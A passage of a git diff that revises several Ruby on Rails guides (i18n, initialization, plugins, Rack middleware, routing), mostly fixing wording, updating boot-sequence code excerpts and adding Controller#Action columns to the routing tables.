the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth. +These chapters will show examples using both the `I18n.translate` method as well as the [`translate` view helper method](http://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (noting the additional feature provide by the view helper method). + Covered are features like these: * looking up translations * interpolating data into translations * pluralizing translations -* using safe HTML translations +* using safe HTML translations (view helper method only) * localizing dates, numbers, currency, etc. ### Looking up Translations @@ -585,6 +587,8 @@ you can look up the `books.index.title` value **inside** `app/views/books/index. <%= t '.title' %> ``` +NOTE: Automatic translation scoping by partial is only available from the `translate` view helper method. + ### Interpolation In many cases you want to abstract your translations so that **variables can be interpolated into the translation**. For this reason the I18n API provides an interpolation feature. @@ -654,7 +658,7 @@ I18n.default_locale = :de ### Using Safe HTML Translations -Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping. +Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped. ```yaml # config/locales/en.yml @@ -673,6 +677,8 @@ en: <div><%= t('title.html') %></div> ``` +NOTE: Automatic conversion to HTML safe translate text is only available from the `translate` view helper method. +  How to Store your Custom Translations @@ -1029,7 +1035,7 @@ If you found this guide useful, please consider recommending its authors on [wor Footnotes --------- -[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization:) _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_ +[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization): _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_ [^2]: Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files. diff --git a/guides/source/initialization.md b/guides/source/initialization.md index fe6b1ad906..5e2e0ad3e3 100644 --- a/guides/source/initialization.md +++ b/guides/source/initialization.md @@ -29,9 +29,42 @@ quickly. Launch! ------- -Let's start to boot and initialize the app. It all begins with your app's -`bin/rails` executable. A Rails application is usually started by running -`rails console` or `rails server`. +Let's start to boot and initialize the app. A Rails application is usually +started by running `rails console` or `rails server`. + +### `railties/bin/rails` + +The `rails` in the command `rails server` is a ruby executable in your load +path. This executable contains the following lines: + +```ruby +version = ">= 0" +load Gem.bin_path('railties', 'rails', version) +``` + +If you try out this command in a Rails console, you would see that this loads +`railties/bin/rails`. A part of the file `railties/bin/rails.rb` has the +following code: + +```ruby +require "rails/cli" +``` + +The file `railties/lib/rails/cli` in turn calls +`Rails::AppRailsLoader.exec_app_rails`. + +### `railties/lib/rails/app_rails_loader.rb` + +The primary goal of the function `exec_app_rails` is to execute your app's +`bin/rails`. If the current directory does not have a `bin/rails`, it will +navigate upwards until it finds a `bin/rails` executable. Thus one can invoke a +`rails` command from anywhere inside a rails application. + +For `rails server` the equivalent of the following command is executed: + +```bash +$ exec ruby bin/rails server +``` ### `bin/rails` @@ -54,7 +87,7 @@ The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot # Set up gems listed in the Gemfile. ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) -require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE']) +require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE']) ``` In a standard Rails application, there's a `Gemfile` which declares all @@ -93,7 +126,9 @@ A standard Rails application depends on several gems, specifically: ### `rails/commands.rb` -Once `config/boot.rb` has finished, the next file that is required is `rails/commands` which will execute a command based on the arguments passed in. In this case, the `ARGV` array simply contains `server` which is extracted into the `command` variable using these lines: +Once `config/boot.rb` has finished, the next file that is required is +`rails/commands`, which helps in expanding aliases. In the current case, the +`ARGV` array simply contains `server` which will be passed over: ```ruby ARGV << '--help' if ARGV.empty? @@ -109,31 +144,64 @@ aliases = { command = ARGV.shift command = aliases[command] || command + +require 'rails/commands/commands_tasks' + +Rails::CommandsTasks.new(ARGV).run_command!(command) ``` TIP: As you can see, an empty ARGV list will make Rails show the help snippet. -If we used `s` rather than `server`, Rails will use the `aliases` defined in the file and match them to their respective commands. With the `server` command, Rails will run this code: +If we had used `s` rather than `server`, Rails would have used the `aliases` +defined here to find the matching command. + +### `rails/commands/command_tasks.rb` + +When one types an incorrect rails command, the `run_command` is responsible for +throwing an error message. If the command is valid, a method of the same name +is called. ```ruby -when 'server' - # Change to the application's path if there is no config.ru file in current directory. - # This allows us to run `rails server` from other directories, but still get - # the main config.ru and properly set the tmp directory. - Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru")) +COMMAND_WHITELIST = %(plugin generate destroy console server dbconsole application runner new version help) + +def run_command!(command) + if COMMAND_WHITELIST.include?(command) + send(command) + else + write_error_message(command) + end +end +``` + +With the `server` command, Rails will further run the following code: + +```ruby +def set_application_directory! + Dir.chdir(File.expand_path('../../', APP_PATH)) unless + File.exist?(File.expand_path("config.ru")) +end + +def server + set_application_directory! + require_command!("server") - require 'rails/commands/server' Rails::Server.new.tap do |server| - # We need to require application after the server sets environment, - # otherwise the --environment option given to the server won't propagate. require APP_PATH Dir.chdir(Rails.application.root) server.start end +end + +def require_command!(command) + require "rails/commands/#{command}" +end ``` -This file will change into the Rails root directory (a path two directories up from `APP_PATH` which points at `config/application.rb`), but only if the `config.ru` file isn't found. This then requires `rails/commands/server` which sets up the `Rails::Server` class. +This file will change into the Rails root directory (a path two directories up +from `APP_PATH` which points at `config/application.rb`), but only if the +`config.ru` file isn't found. This then requires `rails/commands/server` which +sets up the `Rails::Server` class. ```ruby require 'fileutils' @@ -261,37 +329,43 @@ and it's free for you to change based on your needs. ### `Rails::Server#start` -After `config/application` is loaded, `server.start` is called. This method is defined like this: +After `config/application` is loaded, `server.start` is called. This method is +defined like this: ```ruby def start - url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}" - puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}" - puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}" - puts "=> Run `rails server -h` for more startup options" + print_boot_information trap(:INT) { exit } - puts "=> Ctrl-C to shutdown server" unless options[:daemonize] + create_tmp_directories + log_to_stdout if options[:log_stdout] - #Create required tmp directories if not found - %w(cache pids sessions sockets).each do |dir_to_make| - FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make)) + super + ... +end + +private + + def print_boot_information + ... + puts "=> Run `rails server -h` for more startup options" + puts "=> Ctrl-C to shutdown server" unless options[:daemonize] + end + + def create_tmp_directories + %w(cache pids sessions sockets).each do |dir_to_make| + FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make)) + end end - unless options[:daemonize] + def log_to_stdout wrapped_app # touch the app so the logger is set up console = ActiveSupport::Logger.new($stdout) console.formatter = Rails.logger.formatter + console.level = Rails.logger.level Rails.logger.extend(ActiveSupport::Logger.broadcast(console)) end - - super -ensure - # The '-h' option calls exit before @options is set. - # If we call 'options' with it unset, we get double help banners. - puts 'Exiting' unless @options && options[:daemonize] -end ``` This is where the first output of the Rails initialization happens. This diff --git a/guides/source/kindle/KINDLE.md b/guides/source/kindle/KINDLE.md deleted file mode 100644 index 8c4fad18aa..0000000000 --- a/guides/source/kindle/KINDLE.md +++ /dev/null @@ -1,26 +0,0 @@ -# Rails Guides on the Kindle - - -## Synopsis - - 1. Obtain `kindlegen` from the link below and put the binary in your path - 2. Run `KINDLE=1 rake generate_guides` to generate the guides and compile the `.mobi` file - 3. Copy `output/kindle/rails_guides.mobi` to your Kindle - -## Resources - - * [Stack Overflow: Kindle Periodical Format](http://stackoverflow.com/questions/5379565/kindle-periodical-format) - * Example Periodical [.ncx](https://gist.github.com/mipearson/808c971ed087b839d462) and [.opf](https://gist.github.com/mipearson/d6349aa8488eca2ee6d0) - * [Kindle Publishing Guidelines](http://kindlegen.s3.amazonaws.com/AmazonKindlePublishingGuidelines.pdf) - * [KindleGen & Kindle Previewer](http://www.amazon.com/gp/feature.html?ie=UTF8&docId=1000234621) - -## TODO - -### Post release - - * Integrate generated Kindle document into published HTML guides - * Tweak heading styles (most docs use h3/h4/h5, which end up being smaller than the text under it) - * Tweak table styles (smaller text? Many of the tables are unusable on a Kindle in portrait mode) - * Have the HTML/XML TOC 'drill down' into the TOCs of the individual guides - * `.epub` generation. - diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md index b5d66d08ba..f4dab57aa5 100644 --- a/guides/source/layouts_and_rendering.md +++ b/guides/source/layouts_and_rendering.md @@ -122,8 +122,7 @@ X-Runtime: 0.014297 Set-Cookie: _blog_session=...snip...; path=/; HttpOnly Cache-Control: no-cache - - $ +$ ``` We see there is an empty response (no data after the `Cache-Control` line), but the request was successful because Rails has set the response to 200 OK. You can set the `:status` option on render to change this response. Rendering nothing can be useful for Ajax requests where all you want to send back to the browser is an acknowledgment that the request was completed. @@ -137,7 +136,7 @@ If you want to render the view that corresponds to a different template within t ```ruby def update @book = Book.find(params[:id]) - if @book.update(params[:book]) + if @book.update(book_params) redirect_to(@book) else render "edit" @@ -152,7 +151,7 @@ If you prefer, you can use a symbol instead of a string to specify the action to ```ruby def update @book = Book.find(params[:id]) - if @book.update(params[:book]) + if @book.update(book_params) redirect_to(@book) else render :edit @@ -704,7 +703,7 @@ WARNING: The asset tag helpers do _not_ verify the existence of the assets at th #### Linking to Feeds with the `auto_discovery_link_tag` -The `auto_discovery_link_tag` helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag: +The `auto_discovery_link_tag` helper builds HTML that most browsers and feed readers can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag: ```erb <%= auto_discovery_link_tag(:rss, {action: "feed"}, diff --git a/guides/source/migrations.md b/guides/source/migrations.md index b7283d16cc..71a177bca7 100644 --- a/guides/source/migrations.md +++ b/guides/source/migrations.md @@ -420,7 +420,7 @@ If the helpers provided by Active Record aren't enough you can use the `execute` method to execute arbitrary SQL: ```ruby -Products.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1') +Product.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1') ``` For more details and examples of individual methods, check the API documentation. diff --git a/guides/source/plugins.md b/guides/source/plugins.md index d0aa2e55a2..8587bd48b2 100644 --- a/guides/source/plugins.md +++ b/guides/source/plugins.md @@ -3,9 +3,9 @@ The Basics of Creating Rails Plugins A Rails plugin is either an extension or a modification of the core framework. Plugins provide: -* a way for developers to share bleeding-edge ideas without hurting the stable code base -* a segmented architecture so that units of code can be fixed or updated on their own release schedule -* an outlet for the core developers so that they don't have to include every cool new feature under the sun +* A way for developers to share bleeding-edge ideas without hurting the stable code base. +* A segmented architecture so that units of code can be fixed or updated on their own release schedule. +* An outlet for the core developers so that they don't have to include every cool new feature under the sun. After reading this guide, you will know: @@ -48,7 +48,7 @@ See usage and options by asking for help: $ rails plugin --help ``` -Testing your newly generated plugin +Testing Your Newly Generated Plugin ----------------------------------- You can navigate to the directory that contains the plugin, run the `bundle install` command @@ -92,7 +92,7 @@ Run `rake` to run the test. This test should fail because we haven't implemented Great - now you are ready to start development. -Then in `lib/yaffle.rb` add `require "yaffle/core_ext"`: +In `lib/yaffle.rb`, add `require "yaffle/core_ext"`: ```ruby # yaffle/lib/yaffle.rb @@ -219,7 +219,7 @@ $ rails generate model Wickwall last_squawk:string last_tweet:string ``` Now you can create the necessary database tables in your testing database by navigating to your dummy app -and migrating the database. First +and migrating the database. First, run: ```bash $ cd test/dummy @@ -245,7 +245,7 @@ end ``` -We will also add code to define the acts_as_yaffle method. +We will also add code to define the `acts_as_yaffle` method. ```ruby # yaffle/lib/yaffle/acts_as_yaffle.rb @@ -286,7 +286,7 @@ You can then return to the root directory (`cd ../..`) of your plugin and rerun ``` -Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass. +Getting closer... Now we will implement the code of the `acts_as_yaffle` method to make the tests pass. ```ruby # yaffle/lib/yaffle/acts_as_yaffle.rb @@ -310,7 +310,7 @@ end ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle ``` -When you run `rake` you should see the tests all pass: +When you run `rake`, you should see the tests all pass: ```bash 5 tests, 5 assertions, 0 failures, 0 errors, 0 skips @@ -390,7 +390,11 @@ Run `rake` one final time and you should see: 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips ``` -NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`. +NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use: + +```ruby +send("#{self.class.yaffle_text_field}=", string.to_squawk) +``` Generators ---------- @@ -398,7 +402,7 @@ Generators Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about the creation of generators can be found in the [Generators Guide](generators.html) -Publishing your Gem +Publishing Your Gem ------------------- Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply @@ -411,12 +415,12 @@ gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git' After running `bundle install`, your gem functionality will be available to the application. When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org). -For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html) +For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html). RDoc Documentation ------------------ -Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. +Once your plugin is stable and you are ready to deploy, do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are: diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md index d53e0cd2bd..9c92cf3aea 100644 --- a/guides/source/rails_on_rack.md +++ b/guides/source/rails_on_rack.md @@ -83,7 +83,7 @@ To use `rackup` instead of Rails' `rails server`, you can put the following insi # Rails.root/config.ru require ::File.expand_path('../config/environment', __FILE__) -use Rack::Debugger +use Rails::Rack::Debugger use Rack::ContentLength run Rails.application ``` @@ -144,7 +144,7 @@ use Rack::ETag run MyApp::Application.routes ``` -Purpose of each of this middlewares is explained in the [Internal Middlewares](#internal-middleware-stack) section. +The default middlewares shown here (and some others) are each summarized in the [Internal Middlewares](#internal-middleware-stack) section, below. ### Configuring Middleware Stack @@ -182,18 +182,17 @@ You can swap an existing middleware in the middleware stack using `config.middle config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions ``` -#### Middleware Stack is an Enumerable +#### Deleting a Middleware -The middleware stack behaves just like a normal `Enumerable`. You can use any `Enumerable` methods to manipulate or interrogate the stack. The middleware stack also implements some `Array` methods including `[]`, `unshift` and `delete`. Methods described in the section above are just convenience methods. - -Append following lines to your application configuration: +Add the following lines to your application configuration: ```ruby # config/application.rb config.middleware.delete "Rack::Lock" ``` -And now if you inspect the middleware stack, you'll find that `Rack::Lock` will not be part of it. +And now if you inspect the middleware stack, you'll find that `Rack::Lock` is +not a part of it. ```bash $ rake middleware @@ -225,120 +224,100 @@ config.middleware.delete "Rack::MethodOverride" Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them: - **`Rack::Sendfile`** +**`Rack::Sendfile`** * Sets server specific X-Sendfile header. Configure this via `config.action_dispatch.x_sendfile_header` option. - **`ActionDispatch::Static`** +**`ActionDispatch::Static`** * Used to serve static assets. Disabled if `config.serve_static_assets` is `false`. - **`Rack::Lock`** +**`Rack::Lock`** * Sets `env["rack.multithread"]` flag to `false` and wraps the application within a Mutex. - **`ActiveSupport::Cache::Strategy::LocalCache::Middleware`** +**`ActiveSupport::Cache::Strategy::LocalCache::Middleware`** * Used for memory caching. This cache is not thread safe. - **`Rack::Runtime`** +**`Rack::Runtime`** * Sets an X-Runtime header, containing the time (in seconds) taken to execute the request. - **`Rack::MethodOverride`** +**`Rack::MethodOverride`** * Allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PUT and DELETE HTTP method types. - **`ActionDispatch::RequestId`** +**`ActionDispatch::RequestId`** * Makes a unique `X-Request-Id` header available to the response and enables the `ActionDispatch::Request#uuid` method. - **`Rails::Rack::Logger`** +**`Rails::Rack::Logger`** * Notifies the logs that the request has began. After request is complete, flushes all the logs. - **`ActionDispatch::ShowExceptions`** +**`ActionDispatch::ShowExceptions`** * Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user. - **`ActionDispatch::DebugExceptions`** +**`ActionDispatch::DebugExceptions`** * Responsible for logging exceptions and showing a debugging page in case the request is local. - **`ActionDispatch::RemoteIp`** +**`ActionDispatch::RemoteIp`** * Checks for IP spoofing attacks. - **`ActionDispatch::Reloader`** +**`ActionDispatch::Reloader`** * Provides prepare and cleanup callbacks, intended to assist with code reloading during development. - **`ActionDispatch::Callbacks`** +**`ActionDispatch::Callbacks`** * Runs the prepare callbacks before serving the request. - **`ActiveRecord::Migration::CheckPending`** +**`ActiveRecord::Migration::CheckPending`** * Checks pending migrations and raises `ActiveRecord::PendingMigrationError` if any migrations are pending. - **`ActiveRecord::ConnectionAdapters::ConnectionManagement`** +**`ActiveRecord::ConnectionAdapters::ConnectionManagement`** * Cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`. - **`ActiveRecord::QueryCache`** +**`ActiveRecord::QueryCache`** * Enables the Active Record query cache. - **`ActionDispatch::Cookies`** +**`ActionDispatch::Cookies`** * Sets cookies for the request. - **`ActionDispatch::Session::CookieStore`** +**`ActionDispatch::Session::CookieStore`** * Responsible for storing the session in cookies. - **`ActionDispatch::Flash`** +**`ActionDispatch::Flash`** * Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value. - **`ActionDispatch::ParamsParser`** +**`ActionDispatch::ParamsParser`** * Parses out parameters from the request into `params`. - **`ActionDispatch::Head`** +**`ActionDispatch::Head`** * Converts HEAD requests to `GET` requests and serves them as so. - **`Rack::ConditionalGet`** +**`Rack::ConditionalGet`** * Adds support for "Conditional `GET`" so that server responds with nothing if page wasn't changed. - **`Rack::ETag`** +**`Rack::ETag`** * Adds ETag header on all String bodies. ETags are used to validate cache. TIP: It's possible to use any of the above middlewares in your custom Rack stack. -### Using Rack Builder - -The following shows how to replace use `Rack::Builder` instead of the Rails supplied `MiddlewareStack`. - -<strong>Clear the existing Rails middleware stack</strong> - -```ruby -# config/application.rb -config.middleware.clear -``` - -<br> -<strong>Add a `config.ru` file to `Rails.root`</strong> - -```ruby -# config.ru -use MyOwnStackFromScratch -run Rails.application -``` - Resources --------- diff --git a/guides/source/routing.md b/guides/source/routing.md index 37525c48a6..019861c3d6 100644 --- a/guides/source/routing.md +++ b/guides/source/routing.md @@ -89,15 +89,15 @@ resources :photos creates seven different routes in your application, all mapping to the `Photos` controller: -| HTTP Verb | Path | Action | Used for | -| --------- | ---------------- | ------- | -------------------------------------------- | -| GET | /photos | index | display a list of all photos | -| GET | /photos/new | new | return an HTML form for creating a new photo | -| POST | /photos | create | create a new photo | -| GET | /photos/:id | show | display a specific photo | -| GET | /photos/:id/edit | edit | return an HTML form for editing a photo | -| PATCH/PUT | /photos/:id | update | update a specific photo | -| DELETE | /photos/:id | destroy | delete a specific photo | +| HTTP Verb | Path | Controller#Action | Used for | +| --------- | ---------------- | ----------------- | -------------------------------------------- | +| GET | /photos | photos#index | display a list of all photos | +| GET | /photos/new | photos#new | return an HTML form for creating a new photo | +| POST | /photos | photos#create | create a new photo | +| GET | /photos/:id | photos#show | display a specific photo | +| GET | /photos/:id/edit | photos#edit | return an HTML form for editing a photo | +| PATCH/PUT | /photos/:id | photos#update | update a specific photo | +| DELETE | /photos/:id | photos#destroy | delete a specific photo | NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions. @@ -152,14 +152,14 @@ resource :geocoder creates six different routes in your application, all mapping to the `Geocoders` controller: -| HTTP Verb | Path | Action | Used for | -| --------- | -------------- | ------- | --------------------------------------------- | -| GET | /geocoder/new | new | return an HTML form for creating the geocoder | -| POST | /geocoder | create | create the new geocoder | -| GET | /geocoder | show | display the one and only geocoder resource | -| GET | /geocoder/edit | edit | return an HTML form for editing the geocoder | -| PATCH/PUT | /geocoder | update | update the one and only geocoder resource | -| DELETE | /geocoder | destroy | delete the geocoder resource | +| HTTP Verb | Path | Controller#Action | Used for | +| --------- | -------------- | ----------------- | --------------------------------------------- | +| GET | /geocoder/new | geocoders#new | return an HTML form for creating the geocoder | +| POST | /geocoder | geocoders#create | create the new geocoder | +| GET | /geocoder | geocoders#show | display the one and only geocoder resource | +| GET | /geocoder/edit | geocoders#edit | return an HTML form for editing the geocoder | +| PATCH/PUT | /geocoder | geocoders#update | update the one and only geocoder resource | +| DELETE | /geocoder | geocoders#destroy | delete the geocoder resource | NOTE: Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers. So that, for example, `resource :photo` and `resources :photos` creates both singular and plural routes that map to the same controller (`PhotosController`). @@ -189,15 +189,15 @@ end This will create a number of routes for each of the `posts` and `comments` controller. For `Admin::PostsController`, Rails will create: -| HTTP Verb | Path | Action | Used for | -| --------- | --------------------- | ------- | ------------------------- | -| GET | /admin/posts | index | admin_posts_path | -| GET | /admin/posts/new | new | new_admin_post_path | -| POST | /admin/posts | create | admin_posts_path | -| GET | /admin/posts/:id | show | admin_post_path(:id) | -| GET | /admin/posts/:id/edit | edit | edit_admin_post_path(:id) | -| PATCH/PUT | /admin/posts/:id | update | admin_post_path(:id) | -| DELETE | /admin/posts/:id | destroy | admin_post_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | --------------------- | ------------------- | ------------------------- | +| GET | /admin/posts | admin/posts#index | admin_posts_path | +| GET | /admin/posts/new | admin/posts#new | new_admin_post_path | +| POST | /admin/posts | admin/posts#create | admin_posts_path | +| GET | /admin/posts/:id | admin/posts#show | admin_post_path(:id) | +| GET | /admin/posts/:id/edit | admin/posts#edit | edit_admin_post_path(:id) | +| PATCH/PUT | /admin/posts/:id | admin/posts#update | admin_post_path(:id) | +| DELETE | /admin/posts/:id | admin/posts#destroy | admin_post_path(:id) | If you want to route `/posts` (without the prefix `/admin`) to `Admin::PostsController`, you could use: @@ -229,15 +229,15 @@ resources :posts, path: '/admin/posts' In each of these cases, the named routes remain the same as if you did not use `scope`. In the last case, the following paths map to `PostsController`: -| HTTP Verb | Path | Action | Named Helper | -| --------- | --------------------- | ------- | ------------------- | -| GET | /admin/posts | index | posts_path | -| GET | /admin/posts/new | new | new_post_path | -| POST | /admin/posts | create | posts_path | -| GET | /admin/posts/:id | show | post_path(:id) | -| GET | /admin/posts/:id/edit | edit | edit_post_path(:id) | -| PATCH/PUT | /admin/posts/:id | update | post_path(:id) | -| DELETE | /admin/posts/:id | destroy | post_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | --------------------- | ----------------- | ------------------- | +| GET | /admin/posts | posts#index | posts_path | +| GET | /admin/posts/new | posts#new | new_post_path | +| POST | /admin/posts | posts#create | posts_path | +| GET | /admin/posts/:id | posts#show | post_path(:id) | +| GET | /admin/posts/:id/edit | posts#edit | edit_post_path(:id) | +| PATCH/PUT | /admin/posts/:id | posts#update | post_path(:id) | +| DELETE | /admin/posts/:id | posts#destroy | post_path(:id) | ### Nested Resources @@ -263,15 +263,15 @@ end In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. The ad URLs require a magazine: -| HTTP Verb | Path | Action | Used for | -| --------- | ------------------------------------ | ------- | -------------------------------------------------------------------------- | -| GET | /magazines/:magazine_id/ads | index | display a list of all ads for a specific magazine | -| GET | /magazines/:magazine_id/ads/new | new | return an HTML form for creating a new ad belonging to a specific magazine | -| POST | /magazines/:magazine_id/ads | create | create a new ad belonging to a specific magazine | -| GET | /magazines/:magazine_id/ads/:id | show | display a specific ad belonging to a specific magazine | -| GET | /magazines/:magazine_id/ads/:id/edit | edit | return an HTML form for editing an ad belonging to a specific magazine | -| PATCH/PUT | /magazines/:magazine_id/ads/:id | update | update a specific ad belonging to a specific magazine | -| DELETE | /magazines/:magazine_id/ads/:id | destroy | delete a specific ad belonging to a specific magazine | +| HTTP Verb | Path | Controller#Action | Used for | +| --------- | ------------------------------------ | ----------------- | -------------------------------------------------------------------------- | +| GET | /magazines/:magazine_id/ads | ads#index | display a list of all ads for a specific magazine | +| GET | /magazines/:magazine_id/ads/new | ads#new | return an HTML form for creating a new ad belonging to a specific magazine | +| POST | /magazines/:magazine_id/ads | ads#create | create a new ad belonging to a specific magazine | +| GET | /magazines/:magazine_id/ads/:id | ads#show | display a specific ad belonging to a specific magazine | +| GET | /magazines/:magazine_id/ads/:id/edit | ads#edit | return an HTML form for editing an ad belonging to a specific magazine | +| PATCH/PUT | /magazines/:magazine_id/ads/:id | ads#update | update a specific ad belonging to a specific magazine | +| DELETE | /magazines/:magazine_id/ads/:id | ads#destroy | delete a specific ad belonging to a specific magazine | This will also create routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. These helpers take an instance of Magazine as the first parameter (`magazine_ads_url(@magazine)`). @@ -338,7 +338,7 @@ shallow do end ``` -There exists two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter: +There exist two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter: ```ruby scope shallow_path: "sekret" do @@ -350,15 +350,15 @@ end The comments resource here will have the following routes generated for it: -| HTTP Verb | Path | Named Helper | -| --------- | -------------------------------------- | ------------------- | -| GET | /posts/:post_id/comments(.:format) | post_comments | -| POST | /posts/:post_id/comments(.:format) | post_comments | -| GET | /posts/:post_id/comments/new(.:format) | new_post_comment | -| GET | /sekret/comments/:id/edit(.:format) | edit_comment | -| GET | /sekret/comments/:id(.:format) | comment | -| PATCH/PUT | /sekret/comments/:id(.:format) | comment | -| DELETE | /sekret/comments/:id(.:format) | comment | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | -------------------------------------- | ----------------- | ------------------- | +| GET | /posts/:post_id/comments(.:format) | comments#index | post_comments | +| POST | /posts/:post_id/comments(.:format) | comments#create | post_comments | +| GET | /posts/:post_id/comments/new(.:format) | comments#new | new_post_comment | +| GET | /sekret/comments/:id/edit(.:format) | comments#edit | edit_comment | +| GET | /sekret/comments/:id(.:format) | comments#show | comment | +| PATCH/PUT | /sekret/comments/:id(.:format) | comments#update | comment | +| DELETE | /sekret/comments/:id(.:format) | comments#destroy | comment | The `:shallow_prefix` option adds the specified parameter to the named helpers: @@ -372,19 +372,19 @@ end The comments resource here will have the following routes generated for it: -| HTTP Verb | Path | Named Helper | -| --------- | -------------------------------------- | ------------------- | -| GET | /posts/:post_id/comments(.:format) | post_comments | -| POST | /posts/:post_id/comments(.:format) | post_comments | -| GET | /posts/:post_id/comments/new(.:format) | new_post_comment | -| GET | /comments/:id/edit(.:format) | edit_sekret_comment | -| GET | /comments/:id(.:format) | sekret_comment | -| PATCH/PUT | /comments/:id(.:format) | sekret_comment | -| DELETE | /comments/:id(.:format) | sekret_comment | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | -------------------------------------- | ----------------- | ------------------- | +| GET | /posts/:post_id/comments(.:format) | comments#index | post_comments | +| POST | /posts/:post_id/comments(.:format) | comments#create | post_comments | +| GET | /posts/:post_id/comments/new(.:format) | comments#new | new_post_comment | +| GET | /comments/:id/edit(.:format) | comments#edit | edit_sekret_comment | +| GET | /comments/:id(.:format) | comments#show | sekret_comment | +| PATCH/PUT | /comments/:id(.:format) | comments#update | sekret_comment | +| DELETE | /comments/:id(.:format) | comments#destroy | sekret_comment | ### Routing concerns -Routing Concerns allows you to declare common routes that can be reused inside others resources and routes. To define a concern: +Routing Concerns allows you to declare common routes that can be reused inside other resources and routes. To define a concern: ```ruby concern :commentable do @@ -485,7 +485,10 @@ end This will recognize `/photos/1/preview` with GET, and route to the `preview` action of `PhotosController`, with the resource id value passed in `params[:id]`. It will also create the `preview_photo_url` and `preview_photo_path` helpers. -Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use `get`, `patch`, `put`, `post`, or `delete` here. If you don't have multiple `member` routes, you can also pass `:on` to a route, eliminating the block: +Within the block of member routes, each route name specifies the HTTP verb +will be recognized. You can use `get`, `patch`, `put`, `post`, or `delete` here +. If you don't have multiple `member` routes, you can also pass `:on` to a +route, eliminating the block: ```ruby resources :photos do @@ -842,15 +845,15 @@ resources :photos, controller: 'images' will recognize incoming paths beginning with `/photos` but route to the `Images` controller: -| HTTP Verb | Path | Action | Named Helper | -| --------- | ---------------- | ------- | -------------------- | -| GET | /photos | index | photos_path | -| GET | /photos/new | new | new_photo_path | -| POST | /photos | create | photos_path | -| GET | /photos/:id | show | photo_path(:id) | -| GET | /photos/:id/edit | edit | edit_photo_path(:id) | -| PATCH/PUT | /photos/:id | update | photo_path(:id) | -| DELETE | /photos/:id | destroy | photo_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | ---------------- | ----------------- | -------------------- | +| GET | /photos | images#index | photos_path | +| GET | /photos/new | images#new | new_photo_path | +| POST | /photos | images#create | photos_path | +| GET | /photos/:id | images#show | photo_path(:id) | +| GET | /photos/:id/edit | images#edit | edit_photo_path(:id) | +| PATCH/PUT | /photos/:id | images#update | photo_path(:id) | +| DELETE | /photos/:id | images#destroy | photo_path(:id) | NOTE: Use `photos_path`, `new_photo_path`, etc. to generate paths for this 